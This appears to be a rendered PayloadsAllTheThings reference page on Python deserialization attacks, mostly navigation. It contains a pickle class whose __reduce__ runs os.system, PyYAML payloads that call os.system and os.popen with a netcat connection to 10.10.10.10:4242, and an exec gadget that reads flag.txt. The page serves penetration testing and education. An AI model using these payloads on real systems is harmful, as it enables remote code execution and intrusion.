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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_7">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_8">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
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</a>
</li>
</ul>
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<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
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<span class="md-ellipsis">
CVE Exploits
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
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CVE Exploits
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<li class="md-nav__item">
<a href="../../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
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<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking
</span>
</a>
</li>
</ul>
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<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
Client Side Path Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Client%20Side%20Path%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Client Side Path Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
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</a>
</li>
</ul>
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<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
Cross Site Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
Cross Site Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Cross-Site%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
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<li class="md-nav__item">
<a href="../../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
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</li>
</ul>
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<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
DOM Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
DOM Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../DOM%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
DOM Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
Denial of Service
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
Denial of Service
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Denial%20of%20Service/" class="md-nav__link">
<span class="md-ellipsis">
Denial of Service
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
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</ul>
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</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
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<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../File%20Inclusion/LFI-to-RCE/" class="md-nav__link">
<span class="md-ellipsis">
LFI to RCE
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../File%20Inclusion/Wrappers/" class="md-nav__link">
<span class="md-ellipsis">
Inclusion Using Wrappers
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
Headless Browser
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
Headless Browser
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Headless%20Browser/" class="md-nav__link">
<span class="md-ellipsis">
Headless Browser
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" checked>
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="true">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Deserialization
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</a>
</li>
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<a href="../Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
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</a>
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<li class="md-nav__item">
<a href="../Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
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<a href="../PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
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<label class="md-nav__link md-nav__link--active" for="__toc">
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Python Deserialization
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<span class="md-nav__icon md-icon"></span>
</label>
<a href="./" class="md-nav__link md-nav__link--active">
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Python Deserialization
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<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
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</a>
</li>
<li class="md-nav__item">
<a href="#tools" class="md-nav__link">
<span class="md-ellipsis">
Tools
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#methodology" class="md-nav__link">
<span class="md-ellipsis">
Methodology
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</a>
<nav class="md-nav" aria-label="Methodology">
<ul class="md-nav__list">
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<a href="#pickle" class="md-nav__link">
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Pickle
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#pyyaml" class="md-nav__link">
<span class="md-ellipsis">
PyYAML
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</ul>
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<a href="#references" class="md-nav__link">
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References
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</ul>
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<li class="md-nav__item">
<a href="../Ruby/" class="md-nav__link">
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Ruby Deserialization
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<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
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<li class="md-nav__item">
<a href="../../Insecure%20Direct%20Object%20References/" class="md-nav__link">
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Insecure Direct Object References
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</li>
</ul>
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<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
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<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Management%20Interface/" class="md-nav__link">
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Insecure Management Interface
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</li>
</ul>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
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</a>
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</ul>
</nav>
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<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
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LaTeX Injection
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Cobalt Strike
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Container - Kubernetes
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HTML Smuggling
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Hash Cracking
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Linux - Evasion
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Linux - Persistence
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Linux - Privilege Escalation
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Network Discovery
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Network Pivoting Techniques
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Office - Attacks
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Powershell
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Reverse Shell Cheat Sheet
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Source Code Management &amp; CI/CD Compromise
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Vulnerability Reports
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Subdomains Enumeration
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Windows - AMSI Bypass
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Windows - DPAPI
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Windows - Defenses
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Windows - Download and execute methods
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Windows - Mimikatz
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Windows - Persistence
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Windows - Privilege Escalation
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Windows - Using credentials
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NoSQL Injection
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NoSQL Injection
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NoSQL Injection
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OAuth Misconfiguration
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OAuth Misconfiguration
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OAuth Misconfiguration
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ORM Leak
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
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ORM Leak
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ORM Leak
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Open Redirect
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Open Redirect
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<a href="../../Open%20Redirect/" class="md-nav__link">
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Open URL Redirect
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Prompt Injection
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
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Prompt Injection
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Prompt Injection
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Prototype Pollution
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Prototype Pollution
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Prototype Pollution
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Race Condition
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Race Condition
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Race Condition
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Regular Expression
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Regular Expression
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Regular Expression
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Request Smuggling
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
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Request Smuggling
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Request Smuggling
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SAML Injection
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SAML Injection
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SAML Injection
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SQL Injection
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SQL Injection
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SQL Injection
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Google BigQuery SQL Injection
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Cassandra Injection
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Server Side Include Injection
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Server Side Request Forgery
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Server Side Template Injection
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Tabnabbing
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Tabnabbing
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<span class="md-ellipsis">
Type Juggling
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Type Juggling
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Type Juggling
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Upload Insecure Files
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Upload Insecure Files
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Upload Insecure Files
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Configuration Apache .htaccess
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Configuration Apache .htaccess
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.htaccess
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<span class="md-ellipsis">
Web Cache Deception
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Web Cache Deception
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Web Cache Deception
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Web Sockets
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Web Sockets
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Web Sockets
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XPATH Injection
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XPATH Injection
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XSLT Injection
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XSLT Injection
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XSS Injection
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Cross Site Scripting
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XSS Filter Bypass
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Polyglot XSS
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Common WAF Bypass
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CSP Bypass
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XSS in Angular and AngularJS
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XXE Injection
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XXE Injection
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XML External Entity
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Zip Slip
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Zip Slip
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Zip Slip
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Twitter
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template vuln
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Summary
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Tools
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Methodology
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Pickle
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PyYAML
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<div class="md-content" data-md-component="content">
<article class="md-content__inner md-typeset">
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure Deserialization/Python.md" title="Edit this page" class="md-content__button md-icon">
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<h1 id="python-deserialization">Python Deserialization</h1>
<blockquote>
<p>Python deserialization is the process of reconstructing Python objects from serialized data, commonly done using formats like JSON, pickle, or YAML. The pickle module is a frequently used tool for this in Python, as it can serialize and deserialize complex Python objects, including custom classes.</p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#tools">Tools</a></li>
<li><a href="#methodology">Methodology</a><ul>
<li><a href="#pickle">Pickle</a></li>
<li><a href="#pyyaml">PyYAML</a></li>
</ul>
</li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="tools">Tools</h2>
<ul>
<li><a href="https://github.com/j0lt-github/python-deserialization-attack-payload-generator">j0lt-github/python-deserialization-attack-payload-generator</a> - Serialized payload for deserialization RCE attack on python driven applications where pickle,PyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.</li>
</ul>
<h2 id="methodology">Methodology</h2>
<p>In Python source code, look for these sinks:</p>
<ul>
<li><code>cPickle.loads</code></li>
<li><code>pickle.loads</code></li>
<li><code>_pickle.loads</code></li>
<li><code>jsonpickle.decode</code></li>
</ul>
<h3 id="pickle">Pickle</h3>
<p>The following code is a simple example of using <code>cPickle</code> in order to generate an auth_token which is a serialized User object.
<img alt="⚠" class="twemoji" src="https://cdn.jsdelivr.net/gh/jdecked/twemoji@15.1.0/assets/svg/26a0.svg" title=":warning:" /> <code>import cPickle</code> will only work on Python 2</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="kn">import</span> <span class="nn">cPickle</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64encode</span><span class="p">,</span> <span class="n">b64decode</span>
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a>
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a><span class="k">class</span> <span class="nc">User</span><span class="p">:</span>
<a id="__codelineno-0-5" name="__codelineno-0-5" href="#__codelineno-0-5"></a> <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<a id="__codelineno-0-6" name="__codelineno-0-6" href="#__codelineno-0-6"></a> <span class="bp">self</span><span class="o">.</span><span class="n">username</span> <span class="o">=</span> <span class="s2">&quot;anonymous&quot;</span>
<a id="__codelineno-0-7" name="__codelineno-0-7" href="#__codelineno-0-7"></a> <span class="bp">self</span><span class="o">.</span><span class="n">password</span> <span class="o">=</span> <span class="s2">&quot;anonymous&quot;</span>
<a id="__codelineno-0-8" name="__codelineno-0-8" href="#__codelineno-0-8"></a> <span class="bp">self</span><span class="o">.</span><span class="n">rank</span> <span class="o">=</span> <span class="s2">&quot;guest&quot;</span>
<a id="__codelineno-0-9" name="__codelineno-0-9" href="#__codelineno-0-9"></a>
<a id="__codelineno-0-10" name="__codelineno-0-10" href="#__codelineno-0-10"></a><span class="n">h</span> <span class="o">=</span> <span class="n">User</span><span class="p">()</span>
<a id="__codelineno-0-11" name="__codelineno-0-11" href="#__codelineno-0-11"></a><span class="n">auth_token</span> <span class="o">=</span> <span class="n">b64encode</span><span class="p">(</span><span class="n">cPickle</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">h</span><span class="p">))</span>
<a id="__codelineno-0-12" name="__codelineno-0-12" href="#__codelineno-0-12"></a><span class="nb">print</span><span class="p">(</span><span class="s2">&quot;Your Auth Token : </span><span class="si">{}</span><span class="s2">&quot;</span><span class="p">)</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">auth_token</span><span class="p">)</span>
</code></pre></div>
<p>The vulnerability is introduced when a token is loaded from an user input. </p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="n">new_token</span> <span class="o">=</span> <span class="n">raw_input</span><span class="p">(</span><span class="s2">&quot;New Auth Token : &quot;</span><span class="p">)</span>
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="n">token</span> <span class="o">=</span> <span class="n">cPickle</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">b64decode</span><span class="p">(</span><span class="n">new_token</span><span class="p">))</span>
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a><span class="nb">print</span> <span class="s2">&quot;Welcome </span><span class="si">{}</span><span class="s2">&quot;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">token</span><span class="o">.</span><span class="n">username</span><span class="p">)</span>
</code></pre></div>
<p>Python 2.7 documentation clearly states Pickle should never be used with untrusted sources. Let's create a malicious data that will execute arbitrary code on the server.</p>
<blockquote>
<p>The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.</p>
</blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="kn">import</span> <span class="nn">cPickle</span><span class="o">,</span> <span class="nn">os</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="kn">from</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="n">b64encode</span><span class="p">,</span> <span class="n">b64decode</span>
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a>
<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a><span class="k">class</span> <span class="nc">Evil</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<a id="__codelineno-2-5" name="__codelineno-2-5" href="#__codelineno-2-5"></a> <span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<a id="__codelineno-2-6" name="__codelineno-2-6" href="#__codelineno-2-6"></a> <span class="k">return</span> <span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">,(</span><span class="s2">&quot;whoami&quot;</span><span class="p">,))</span>
<a id="__codelineno-2-7" name="__codelineno-2-7" href="#__codelineno-2-7"></a>
<a id="__codelineno-2-8" name="__codelineno-2-8" href="#__codelineno-2-8"></a><span class="n">e</span> <span class="o">=</span> <span class="n">Evil</span><span class="p">()</span>
<a id="__codelineno-2-9" name="__codelineno-2-9" href="#__codelineno-2-9"></a><span class="n">evil_token</span> <span class="o">=</span> <span class="n">b64encode</span><span class="p">(</span><span class="n">cPickle</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">e</span><span class="p">))</span>
<a id="__codelineno-2-10" name="__codelineno-2-10" href="#__codelineno-2-10"></a><span class="nb">print</span><span class="p">(</span><span class="s2">&quot;Your Evil Token : </span><span class="si">{}</span><span class="s2">&quot;</span><span class="p">)</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">evil_token</span><span class="p">)</span>
</code></pre></div>
<h3 id="pyyaml">PyYAML</h3>
<p>YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="kt">!!python/object/apply:time.sleep</span><span class="w"> </span><span class="p p-Indicator">[</span><span class="nv">10</span><span class="p p-Indicator">]</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="kt">!!python/object/apply:builtins.range</span><span class="w"> </span><span class="p p-Indicator">[</span><span class="nv">1</span><span class="p p-Indicator">,</span><span class="w"> </span><span class="nv">10</span><span class="p p-Indicator">,</span><span class="w"> </span><span class="nv">1</span><span class="p p-Indicator">]</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="kt">!!python/object/apply:os.system</span><span class="w"> </span><span class="p p-Indicator">[</span><span class="s">&quot;nc</span><span class="nv"> </span><span class="s">10.10.10.10</span><span class="nv"> </span><span class="s">4242&quot;</span><span class="p p-Indicator">]</span>
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a><span class="kt">!!python/object/apply:os.popen</span><span class="w"> </span><span class="p p-Indicator">[</span><span class="s">&quot;nc</span><span class="nv"> </span><span class="s">10.10.10.10</span><span class="nv"> </span><span class="s">4242&quot;</span><span class="p p-Indicator">]</span>
<a id="__codelineno-3-5" name="__codelineno-3-5" href="#__codelineno-3-5"></a><span class="kt">!!python/object/new:subprocess</span><span class="w"> </span><span class="p p-Indicator">[[</span><span class="s">&quot;ls&quot;</span><span class="p p-Indicator">,</span><span class="s">&quot;-ail&quot;</span><span class="p p-Indicator">]]</span>
<a id="__codelineno-3-6" name="__codelineno-3-6" href="#__codelineno-3-6"></a><span class="kt">!!python/object/new:subprocess.check_output</span><span class="w"> </span><span class="p p-Indicator">[[</span><span class="s">&quot;ls&quot;</span><span class="p p-Indicator">,</span><span class="s">&quot;-ail&quot;</span><span class="p p-Indicator">]]</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="kt">!!python/object/apply:subprocess.Popen</span>
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="p p-Indicator">-</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">ls</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="kt">!!python/object/new:str</span>
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a><span class="nt">state</span><span class="p">:</span><span class="w"> </span><span class="kt">!!python/tuple</span>
<a id="__codelineno-5-3" name="__codelineno-5-3" href="#__codelineno-5-3"></a><span class="p p-Indicator">-</span><span class="w"> </span><span class="s">&#39;print(getattr(open(&quot;flag\x2etxt&quot;),</span><span class="nv"> </span><span class="s">&quot;read&quot;)())&#39;</span>
<a id="__codelineno-5-4" name="__codelineno-5-4" href="#__codelineno-5-4"></a><span class="p p-Indicator">-</span><span class="w"> </span><span class="kt">!!python/object/new:Warning</span>
<a id="__codelineno-5-5" name="__codelineno-5-5" href="#__codelineno-5-5"></a><span class="w"> </span><span class="nt">state</span><span class="p">:</span>
<a id="__codelineno-5-6" name="__codelineno-5-6" href="#__codelineno-5-6"></a><span class="w"> </span><span class="nt">update</span><span class="p">:</span><span class="w"> </span><span class="kt">!!python/name:exec</span>
</code></pre></div>
